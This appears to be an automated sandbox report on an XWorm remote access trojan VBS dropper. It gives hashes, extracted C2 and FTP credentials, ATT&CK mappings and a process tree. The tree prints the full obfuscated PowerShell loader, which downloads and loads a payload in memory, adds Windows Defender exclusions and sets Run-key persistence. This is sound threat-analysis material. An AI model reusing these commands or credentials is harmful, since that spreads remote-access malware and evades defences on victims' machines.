xworm | 4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2

General

Target

4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs
Size

689KB
MD5

0db817d8d07638cd81adee6852de57f7
SHA1

ca6589dcd6d33e3cc5f65d492b81ae376606d9dd
SHA256

4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2
SHA512

e4d57643aa231040a079f35c9c8365dab6291f76a1ff6f28db373d7d664f2aae240c85a585aa1908bd744176e7e437d5bd9c0e78c22f7f48de12bacb159befc8
SSDEEP

1536:VPPPPPPPPPPPPPPPPPPPPPPPE77777777777777777777777777777777777777Y:rnRC7pT0FT2w

Score

10^/10

xworm defense_evasion discovery execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Extracted

Family

xworm

Version

5.0

C2

dianganadores.duckdns.org:7080

:7080

Mutex

qGs2m5ptuM4htdW5

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3584-81-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 7 IoCs

flow	pid	Process
8	3664	powershell.exe
12	3664	powershell.exe
14	3664	powershell.exe
16	3664	powershell.exe
18	3664	powershell.exe
19	3664	powershell.exe
22	4752	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
384	powershell.exe
4088	powershell.exe
1620	powershell.exe
3664	powershell.exe
3268	powershell.exe
4752	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_tiv = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\aapve.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	pastebin.com
22	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4752 set thread context of 3584	4752	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1620	powershell.exe
1620	powershell.exe
3664	powershell.exe
3664	powershell.exe
3664	powershell.exe
384	powershell.exe
4088	powershell.exe
384	powershell.exe
4088	powershell.exe
3268	powershell.exe
3268	powershell.exe
4752	powershell.exe
4752	powershell.exe
4752	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	384	powershell.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	3584	RegAsm.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1372 wrote to memory of 1620	1372	WScript.exe	82
PID 1372 wrote to memory of 1620	1372	WScript.exe	82
PID 1620 wrote to memory of 3664	1620	powershell.exe	84
PID 1620 wrote to memory of 3664	1620	powershell.exe	84
PID 3664 wrote to memory of 384	3664	powershell.exe	89
PID 3664 wrote to memory of 384	3664	powershell.exe	89
PID 3664 wrote to memory of 4088	3664	powershell.exe	90
PID 3664 wrote to memory of 4088	3664	powershell.exe	90
PID 3664 wrote to memory of 2936	3664	powershell.exe	91
PID 3664 wrote to memory of 2936	3664	powershell.exe	91
PID 3664 wrote to memory of 3268	3664	powershell.exe	92
PID 3664 wrote to memory of 3268	3664	powershell.exe	92
PID 3664 wrote to memory of 4752	3664	powershell.exe	94
PID 3664 wrote to memory of 4752	3664	powershell.exe	94
PID 3664 wrote to memory of 2680	3664	powershell.exe	95
PID 3664 wrote to memory of 2680	3664	powershell.exe	95
PID 4752 wrote to memory of 3584	4752	powershell.exe	96
PID 4752 wrote to memory of 3584	4752	powershell.exe	96
PID 4752 wrote to memory of 3584	4752	powershell.exe	96
PID 4752 wrote to memory of 3584	4752	powershell.exe	96
PID 4752 wrote to memory of 3584	4752	powershell.exe	96
PID 4752 wrote to memory of 3584	4752	powershell.exe	96
PID 4752 wrote to memory of 3584	4752	powershell.exe	96
PID 4752 wrote to memory of 3584	4752	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qCybe = 'OwB9せㅚしDsせㅚしKQせㅚしgせㅚしCkせㅚしIせㅚしせㅚしnせㅚしGUせㅚしdQByせㅚしHQせㅚしJwせㅚしgせㅚしCwせㅚしIせㅚしBlせㅚしGoせㅚしdwB6せㅚしGgせㅚしJせㅚしせㅚしgせㅚしCwせㅚしIせㅚしせㅚしnせㅚしGgせㅚしdせㅚしB0せㅚしHせㅚしせㅚしcwせㅚし6せㅚしC8せㅚしLwBwせㅚしGEせㅚしcwB0せㅚしGUせㅚしLgBlせㅚしGUせㅚしLwBkせㅚしC8せㅚしQQせㅚしxせㅚしHIせㅚしZQせㅚし5せㅚしC8せㅚしMせㅚしせㅚしnせㅚしCせㅚしせㅚしKせㅚしせㅚしgせㅚしF0せㅚしXQBbせㅚしHQせㅚしYwBlせㅚしGoせㅚしYgBvせㅚしFsせㅚしIせㅚしせㅚしsせㅚしCせㅚしせㅚしbせㅚしBsせㅚしHUせㅚしbgせㅚしkせㅚしCせㅚしせㅚしKせㅚしBlせㅚしGsせㅚしbwB2せㅚしG4せㅚしSQせㅚしuせㅚしCkせㅚしIせㅚしせㅚしnせㅚしEkせㅚしVgBGせㅚしHIせㅚしcせㅚしせㅚしnせㅚしCせㅚしせㅚしKせㅚしBkせㅚしG8せㅚしaせㅚしB0せㅚしGUせㅚしTQB0せㅚしGUせㅚしRwせㅚしuせㅚしCkせㅚしJwせㅚしxせㅚしHMせㅚしcwBhせㅚしGwせㅚしQwせㅚしuせㅚしDMせㅚしeQByせㅚしGEせㅚしcgBiせㅚしGkせㅚしTせㅚしBzせㅚしHMせㅚしYQBsせㅚしEMせㅚしJwせㅚしoせㅚしGUせㅚしcせㅚしB5せㅚしFQせㅚしdせㅚしBlせㅚしEcせㅚしLgせㅚしpせㅚしCせㅚしせㅚしeせㅚしBtせㅚしHoせㅚしWせㅚしB4せㅚしCQせㅚしIせㅚしせㅚしoせㅚしGQせㅚしYQBvせㅚしEwせㅚしLgBuせㅚしGkせㅚしYQBtせㅚしG8せㅚしRせㅚしB0せㅚしG4せㅚしZQByせㅚしHIせㅚしdQBDせㅚしDoせㅚしOgBdせㅚしG4せㅚしaQBhせㅚしG0せㅚしbwBEせㅚしHせㅚしせㅚしcせㅚしBBせㅚしC4せㅚしbQBlせㅚしHQせㅚしcwB5せㅚしFMせㅚしWwせㅚし7せㅚしCkせㅚしIせㅚしせㅚしpせㅚしCせㅚしせㅚしJwBBせㅚしCcせㅚしIせㅚしせㅚしsせㅚしCせㅚしせㅚしJwCTIToせㅚしkyEnせㅚしCせㅚしせㅚしKせㅚしBlせㅚしGMせㅚしYQBsせㅚしHせㅚしせㅚしZQBSせㅚしC4せㅚしbgBaせㅚしHcせㅚしQQBHせㅚしCQせㅚしIせㅚしせㅚしoせㅚしGcせㅚしbgBpせㅚしHIせㅚしdせㅚしBTせㅚしDQせㅚしNgBlせㅚしHMせㅚしYQBCせㅚしG0せㅚしbwByせㅚしEYせㅚしOgせㅚし6せㅚしF0せㅚしdせㅚしByせㅚしGUせㅚしdgBuせㅚしG8せㅚしQwせㅚしuせㅚしG0せㅚしZQB0せㅚしHMせㅚしeQBTせㅚしFsせㅚしIせㅚしせㅚし9せㅚしCせㅚしせㅚしeせㅚしBtせㅚしHoせㅚしWせㅚしB4せㅚしCQせㅚしIせㅚしBdせㅚしF0せㅚしWwBlせㅚしHQせㅚしeQBCせㅚしFsせㅚしOwせㅚしnせㅚしCUせㅚしSQBoせㅚしHEせㅚしUgBYせㅚしCUせㅚしJwせㅚしgせㅚしD0せㅚしIせㅚしBlせㅚしGoせㅚしdwB6せㅚしGgせㅚしJせㅚしせㅚし7せㅚしCkせㅚしIせㅚしBuせㅚしFoせㅚしdwBBせㅚしEcせㅚしJせㅚしせㅚしgせㅚしCgせㅚしZwBuせㅚしGkせㅚしcgB0せㅚしFMせㅚしZせㅚしBhせㅚしG8せㅚしbせㅚしBuせㅚしHcせㅚしbwBEせㅚしC4せㅚしUQBYせㅚしGEせㅚしUwBDせㅚしCQせㅚしIせㅚしせㅚし9せㅚしCせㅚしせㅚしbgBaせㅚしHcせㅚしQQBHせㅚしCQせㅚしOwせㅚし4せㅚしEYせㅚしVせㅚしBVせㅚしDoせㅚしOgBdせㅚしGcせㅚしbgBpせㅚしGQせㅚしbwBjせㅚしG4せㅚしRQせㅚしuせㅚしHQせㅚしeせㅚしBlせㅚしFQせㅚしLgBtせㅚしGUせㅚしdせㅚしBzせㅚしHkせㅚしUwBbせㅚしCせㅚしせㅚしPQせㅚしgせㅚしGcせㅚしbgBpせㅚしGQせㅚしbwBjせㅚしG4せㅚしRQせㅚしuせㅚしFEせㅚしWせㅚしBhせㅚしFMせㅚしQwせㅚしkせㅚしDsせㅚしKQB0せㅚしG4せㅚしZQBpせㅚしGwせㅚしQwBiせㅚしGUせㅚしVwせㅚしuせㅚしHQせㅚしZQBOせㅚしCせㅚしせㅚしdせㅚしBjせㅚしGUせㅚしagBiせㅚしE8せㅚしLQB3せㅚしGUせㅚしTgせㅚしoせㅚしCせㅚしせㅚしPQせㅚしgせㅚしFEせㅚしWせㅚしBhせㅚしFMせㅚしQwせㅚしkせㅚしDsせㅚしKQせㅚしoせㅚしGUせㅚしcwBvせㅚしHせㅚしせㅚしcwBpせㅚしGQせㅚしLgBRせㅚしFgせㅚしYQBTせㅚしEMせㅚしJせㅚしせㅚし7せㅚしCkせㅚしIせㅚしせㅚしnせㅚしHQせㅚしeせㅚしB0せㅚしC4せㅚしMQせㅚしwせㅚしEwせㅚしTせㅚしBEせㅚしC8せㅚしMQせㅚしwせㅚしC8せㅚしcgBlせㅚしHQせㅚしcせㅚしB5せㅚしHIせㅚしYwBwせㅚしFUせㅚしLwByせㅚしGIせㅚしLgBtせㅚしG8せㅚしYwせㅚしuせㅚしHQせㅚしYQByせㅚしGIせㅚしdgBrせㅚしGMせㅚしcwBlせㅚしGQせㅚしLgBwせㅚしHQせㅚしZgBせㅚしせㅚしDEせㅚしdせㅚしBhせㅚしHIせㅚしYgB2せㅚしGsせㅚしYwBzせㅚしGUせㅚしZせㅚしせㅚしvせㅚしC8せㅚしOgBwせㅚしHQせㅚしZgせㅚしnせㅚしCせㅚしせㅚしKせㅚしBnせㅚしG4せㅚしaQByせㅚしHQせㅚしUwBkせㅚしGEせㅚしbwBsせㅚしG4せㅚしdwBvせㅚしEQせㅚしLgBRせㅚしFgせㅚしYQBTせㅚしEMせㅚしJせㅚしせㅚしgせㅚしD0せㅚしIせㅚしBuせㅚしFoせㅚしdwBBせㅚしEcせㅚしJせㅚしせㅚし7せㅚしCkせㅚしJwBせㅚしせㅚしEせㅚしせㅚしcせㅚしBKせㅚしDgせㅚしNwせㅚし1せㅚしDEせㅚしMgBvせㅚしHIせㅚしcせㅚしByせㅚしGUせㅚしcせㅚしBvせㅚしGwせㅚしZQB2せㅚしGUせㅚしZせㅚしせㅚしnせㅚしCwせㅚしJwせㅚしxせㅚしHQせㅚしYQByせㅚしGIせㅚしdgBrせㅚしGMせㅚしcwBlせㅚしGQせㅚしJwせㅚしoせㅚしGwせㅚしYQBpせㅚしHQせㅚしbgBlせㅚしGQせㅚしZQByせㅚしEMせㅚしawByせㅚしG8せㅚしdwB0せㅚしGUせㅚしTgせㅚしuせㅚしHQせㅚしZQBOせㅚしC4せㅚしbQBlせㅚしHQせㅚしcwB5せㅚしFMせㅚしIせㅚしB0せㅚしGMせㅚしZQBqせㅚしGIせㅚしbwせㅚしtせㅚしHcせㅚしZQBuせㅚしCせㅚしせㅚしPQせㅚしgせㅚしHMせㅚしbせㅚしBhせㅚしGkせㅚしdせㅚしBuせㅚしGUせㅚしZせㅚしBlせㅚしHIせㅚしQwせㅚしuせㅚしFEせㅚしWせㅚしBhせㅚしFMせㅚしQwせㅚしkせㅚしDsせㅚしOせㅚしBGせㅚしFQせㅚしVQせㅚし6せㅚしDoせㅚしXQBnせㅚしG4せㅚしaQBkせㅚしG8せㅚしYwBuせㅚしEUせㅚしLgB0せㅚしHgせㅚしZQBUせㅚしC4せㅚしbQBlせㅚしHQせㅚしcwB5せㅚしFMせㅚしWwせㅚしgせㅚしD0せㅚしIせㅚしBnせㅚしG4せㅚしaQBkせㅚしG8せㅚしYwBuせㅚしEUせㅚしLgBRせㅚしFgせㅚしYQBTせㅚしEMせㅚしJせㅚしせㅚし7せㅚしCkせㅚしdせㅚしBuせㅚしGUせㅚしaQBsせㅚしEMせㅚしYgBlせㅚしFcせㅚしLgB0せㅚしGUせㅚしTgせㅚしgせㅚしHQせㅚしYwBlせㅚしGoせㅚしYgBPせㅚしC0せㅚしdwBlせㅚしE4せㅚしKせㅚしせㅚしgせㅚしD0せㅚしIせㅚしBRせㅚしFgせㅚしYQBTせㅚしEMせㅚしJせㅚしせㅚし7せㅚしG4せㅚしWgB3せㅚしEEせㅚしRwせㅚしkせㅚしDsせㅚしMgせㅚしxせㅚしHMせㅚしbせㅚしBUせㅚしDoせㅚしOgBdせㅚしGUせㅚしcせㅚしB5せㅚしFQせㅚしbせㅚしBvせㅚしGMせㅚしbwB0せㅚしG8せㅚしcgBQせㅚしHkせㅚしdせㅚしBpせㅚしHIせㅚしdQBjせㅚしGUせㅚしUwせㅚしuせㅚしHQせㅚしZQBOせㅚしC4せㅚしbQBlせㅚしHQせㅚしcwB5せㅚしFMせㅚしWwせㅚしgせㅚしD0せㅚしIせㅚしBsせㅚしG8せㅚしYwBvせㅚしHQせㅚしbwByせㅚしFせㅚしせㅚしeQB0せㅚしGkせㅚしcgB1せㅚしGMせㅚしZQBTせㅚしDoせㅚしOgBdせㅚしHIせㅚしZQBnせㅚしGEせㅚしbgBhせㅚしE0せㅚしdせㅚしBuせㅚしGkせㅚしbwBQせㅚしGUせㅚしYwBpせㅚしHYせㅚしcgBlせㅚしFMせㅚしLgB0せㅚしGUせㅚしTgせㅚしuせㅚしG0せㅚしZQB0せㅚしHMせㅚしeQBTせㅚしFsせㅚしOwB9せㅚしGUせㅚしdQByせㅚしHQせㅚしJせㅚしB7せㅚしCせㅚしせㅚしPQせㅚしgせㅚしGsせㅚしYwBhせㅚしGIせㅚしbせㅚしBsせㅚしGEせㅚしQwBuせㅚしG8せㅚしaQB0せㅚしGEせㅚしZせㅚしBpせㅚしGwせㅚしYQBWせㅚしGUせㅚしdせㅚしBhせㅚしGMせㅚしaQBmせㅚしGkせㅚしdせㅚしByせㅚしGUせㅚしQwByせㅚしGUせㅚしdgByせㅚしGUせㅚしUwせㅚし6せㅚしDoせㅚしXQByせㅚしGUせㅚしZwBhせㅚしG4せㅚしYQBNせㅚしHQせㅚしbgBpせㅚしG8せㅚしUせㅚしBlせㅚしGMせㅚしaQB2せㅚしHIせㅚしZQBTせㅚしC4せㅚしdせㅚしBlせㅚしE4せㅚしLgBtせㅚしGUせㅚしdせㅚしBzせㅚしHkせㅚしUwBbせㅚしHsせㅚしIせㅚしBlせㅚしHMせㅚしbせㅚしBlせㅚしH0せㅚしIせㅚしBmせㅚしC8せㅚしIせㅚしせㅚしwせㅚしCせㅚしせㅚしdせㅚしせㅚしvせㅚしCせㅚしせㅚしcgせㅚしvせㅚしCせㅚしせㅚしZQB4せㅚしGUせㅚしLgBuせㅚしHcせㅚしbwBkせㅚしHQせㅚしdQBoせㅚしHMせㅚしIせㅚしせㅚし7せㅚしCcせㅚしMせㅚしせㅚし4せㅚしDEせㅚしIせㅚしBwせㅚしGUせㅚしZQBsせㅚしHMせㅚしJwせㅚしgせㅚしGQせㅚしbgBhせㅚしG0せㅚしbQBvせㅚしGMせㅚしLQせㅚしgせㅚしGUせㅚしeせㅚしBlせㅚしC4せㅚしbせㅚしBsせㅚしGUせㅚしaせㅚしBzせㅚしHIせㅚしZQB3せㅚしG8せㅚしcせㅚしせㅚし7せㅚしCせㅚしせㅚしZQBjせㅚしHIせㅚしbwBmせㅚしC0せㅚしIせㅚしせㅚしpせㅚしCせㅚしせㅚしJwBwせㅚしHUせㅚしdせㅚしByせㅚしGEせㅚしdせㅚしBTせㅚしFwせㅚしcwBtせㅚしGEせㅚしcgBnせㅚしG8せㅚしcgBQせㅚしFwせㅚしdQBuせㅚしGUせㅚしTQせㅚしgせㅚしHQせㅚしcgBhせㅚしHQせㅚしUwBcせㅚしHMせㅚしdwBvせㅚしGQせㅚしbgBpせㅚしFcせㅚしXせㅚしB0せㅚしGYせㅚしbwBzせㅚしG8せㅚしcgBjせㅚしGkせㅚしTQBcせㅚしGcせㅚしbgBpせㅚしG0せㅚしYQBvせㅚしFIせㅚしXせㅚしBhせㅚしHQせㅚしYQBEせㅚしHせㅚしせㅚしcせㅚしBBせㅚしFwせㅚしJwせㅚしgせㅚしCsせㅚしIせㅚしBwせㅚしHUせㅚしdせㅚしByせㅚしGEせㅚしdせㅚしBTせㅚしGQせㅚしbせㅚしBvせㅚしEYせㅚしJせㅚしせㅚしgせㅚしCgせㅚしIせㅚしBuせㅚしG8せㅚしaQB0せㅚしGEせㅚしbgBpせㅚしHQせㅚしcwBlせㅚしEQせㅚしLQせㅚしgせㅚしCcせㅚしJQBJせㅚしGgせㅚしcQBSせㅚしFgせㅚしJQせㅚしnせㅚしCせㅚしせㅚしbQBlせㅚしHQせㅚしSQせㅚしtせㅚしHkせㅚしcせㅚしBvせㅚしEMせㅚしIせㅚしせㅚし7せㅚしCせㅚしせㅚしdせㅚしByせㅚしGEせㅚしdせㅚしBzせㅚしGUせㅚしcgBvせㅚしG4せㅚしLwせㅚしgせㅚしHQせㅚしZQBpせㅚしHUせㅚしcQせㅚしvせㅚしCせㅚしせㅚしZQBsせㅚしGkせㅚしZgせㅚしkせㅚしCせㅚしせㅚしZQB4せㅚしGUせㅚしLgBhせㅚしHMせㅚしdQB3せㅚしCせㅚしせㅚしZQB4せㅚしGUせㅚしLgBsせㅚしGwせㅚしZQBoせㅚしHMせㅚしcgBlせㅚしHcせㅚしbwBwせㅚしCせㅚしせㅚしOwせㅚしpせㅚしCcせㅚしdQBzせㅚしG0せㅚしLgBuせㅚしGkせㅚしdwBwせㅚしFUせㅚしXせㅚしせㅚしnせㅚしCせㅚしせㅚしKwせㅚしgせㅚしGEせㅚしdせㅚしBzせㅚしGEせㅚしcせㅚしせㅚしkせㅚしCgせㅚしIせㅚしせㅚし9せㅚしCせㅚしせㅚしZQBsせㅚしGkせㅚしZgせㅚしkせㅚしDsせㅚしKQせㅚしgせㅚしGUせㅚしbQBhせㅚしE4せㅚしcgBlせㅚしHMせㅚしVQせㅚし6せㅚしDoせㅚしXQB0せㅚしG4せㅚしZQBtせㅚしG4せㅚしbwByせㅚしGkせㅚしdgBuせㅚしEUせㅚしWwせㅚしgせㅚしCsせㅚしIせㅚしせㅚしnせㅚしFwせㅚしcwByせㅚしGUせㅚしcwBVせㅚしFwせㅚしOgBDせㅚしCcせㅚしKせㅚしせㅚしgせㅚしD0せㅚしIせㅚしBwせㅚしHUせㅚしdせㅚしByせㅚしGEせㅚしdせㅚしBTせㅚしGQせㅚしbせㅚしBvせㅚしEYせㅚしJせㅚしせㅚし7せㅚしCkせㅚしJwB1せㅚしHMせㅚしbQせㅚしuせㅚしG4せㅚしaQB3せㅚしHせㅚしせㅚしVQBcせㅚしCcせㅚしIせㅚしせㅚしrせㅚしCせㅚしせㅚしYQB0せㅚしHMせㅚしYQBwせㅚしCQせㅚしIせㅚしせㅚしsせㅚしEIせㅚしSwBMせㅚしFIせㅚしVQせㅚしkせㅚしCgせㅚしZQBsせㅚしGkせㅚしRgBkせㅚしGEせㅚしbwBsせㅚしG4せㅚしdwBvせㅚしEQせㅚしLgBQせㅚしHcせㅚしagBzせㅚしGoせㅚしJせㅚしせㅚし7せㅚしDgせㅚしRgBUせㅚしFUせㅚしOgせㅚし6せㅚしF0せㅚしZwBuせㅚしGkせㅚしZせㅚしBvせㅚしGMせㅚしbgBFせㅚしC4せㅚしdせㅚしB4せㅚしGUせㅚしVせㅚしせㅚしuせㅚしG0せㅚしZQB0せㅚしHMせㅚしeQBTせㅚしFsせㅚしIせㅚしせㅚし9せㅚしCせㅚしせㅚしZwBuせㅚしGkせㅚしZせㅚしBvせㅚしGMせㅚしbgBFせㅚしC4せㅚしUせㅚしB3せㅚしGoせㅚしcwBqせㅚしCQせㅚしOwせㅚしpせㅚしHQせㅚしbgBlせㅚしGkせㅚしbせㅚしBDせㅚしGIせㅚしZQBXせㅚしC4せㅚしdせㅚしBlせㅚしE4せㅚしIせㅚしB0せㅚしGMせㅚしZQBqせㅚしGIせㅚしTwせㅚしtせㅚしHcせㅚしZQBOせㅚしCgせㅚしIせㅚしせㅚし9せㅚしCせㅚしせㅚしUせㅚしB3せㅚしGoせㅚしcwBqせㅚしCQせㅚしOwB9せㅚしDsせㅚしIせㅚしせㅚしpせㅚしCcせㅚしcgBnせㅚしDgせㅚしRせㅚしせㅚし3せㅚしG8せㅚしUgBzせㅚしGYせㅚしVgBjせㅚしHIせㅚしMgBuせㅚしEEせㅚしaせㅚしBmせㅚしGgせㅚしVgせㅚし2せㅚしEQせㅚしQwB4せㅚしFIせㅚしcQBuせㅚしHEせㅚしagせㅚし1せㅚしGoせㅚしcgBiせㅚしDEせㅚしJwせㅚしgせㅚしCsせㅚしIせㅚしBlせㅚしGwせㅚしVせㅚしBRせㅚしFgせㅚしJせㅚしせㅚしoせㅚしCせㅚしせㅚしPQせㅚしgせㅚしGUせㅚしbせㅚしBUせㅚしFEせㅚしWせㅚしせㅚしkせㅚしHsせㅚしIせㅚしBlせㅚしHMせㅚしbせㅚしBlせㅚしH0せㅚしOwせㅚしgせㅚしCkせㅚしJwB4せㅚしDQせㅚしZgBoせㅚしFoせㅚしTQB3せㅚしE4せㅚしNwBVせㅚしGUせㅚしXwせㅚしwせㅚしF8せㅚしNQBfせㅚしGkせㅚしYwBzせㅚしGIせㅚしaせㅚしせㅚし3せㅚしEMせㅚしUせㅚしせㅚしwせㅚしEkせㅚしZgBQせㅚしGQせㅚしQQせㅚしyせㅚしDEせㅚしMQせㅚしnせㅚしCせㅚしせㅚしKwせㅚしgせㅚしGUせㅚしbせㅚしBUせㅚしFEせㅚしWせㅚしせㅚしkせㅚしCgせㅚしIAA9ACAAZQBsAFQAUQBYACQAewAgACkAcgBlAFYAbgBpAFcAJAAoACAAZgBpADsAIAApACcANAA2ACcAKABzAG4AaQBhAHQAbgBvAEMALgBFAFIAVQBUAEMARQBUAEkASABDAFIAQQBfAFIATwBTAFMARQBDAE8AUgBQADoAdgBuAGUAJAAgAD0AIAByAGUAVgBuAGkAVwAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABlAGwAVABRAFgAJAA7ACkAJwB1AHMAbQAuAG4AaQB3AHAAVQBcACcAIAArACAAYQB0AHMAYQBwACQAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABhAHQAcwBhAHAAJAB7ACAAKQByAGUAdwBvAHAAcgBlAFYAJAAoACAAZgBpADsAIAApADIAKABzAGwAYQB1AHEARQAuAHIAbwBqAGEATQAuAG4AbwBpAHMAcgBlAFYALgB0AHMAbwBoACQAIAA9ACAAcgBlAHcAbwBwAHIAZQBWACQAIAA7AA==';$GBekT = $qCybe.replace('せㅚし' , 'A') ;$QlmBo = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $GBekT ) ); $QlmBo = $QlmBo[-1..-$QlmBo.Length] -join '';$QlmBo = $QlmBo.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs');powershell $QlmBo
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Verpower = $host.Version.Major.Equals(2) ;if ($Verpower) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$XQTle = 'https://drive.google.com/uc?export=download&id=';$WinVer = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ($WinVer) {$XQTle = ($XQTle + '112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$XQTle = ($XQTle + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$jsjwP = (New-Object Net.WebClient);$jsjwP.Encoding = [System.Text.Encoding]::UTF8;$jsjwP.DownloadFile($URLKB, $pasta + '\Upwin.msu');$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$GAwZn;$CSaXQ = (New-Object Net.WebClient);$CSaXQ.Encoding = [System.Text.Encoding]::UTF8;$CSaXQ.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$GAwZn = $CSaXQ.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$CSaXQ.dispose();$CSaXQ = (New-Object Net.WebClient);$CSaXQ.Encoding = [System.Text.Encoding]::UTF8;$GAwZn = $CSaXQ.DownloadString( $GAwZn );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs';[Byte[]] $xXzmx = [System.Convert]::FromBase64String( $GAwZn.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $xXzmx ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '0/9er1A/d/ee.etsap//:sptth' , $hzwje , 'true' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4088
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
      4⤵
      PID:2936
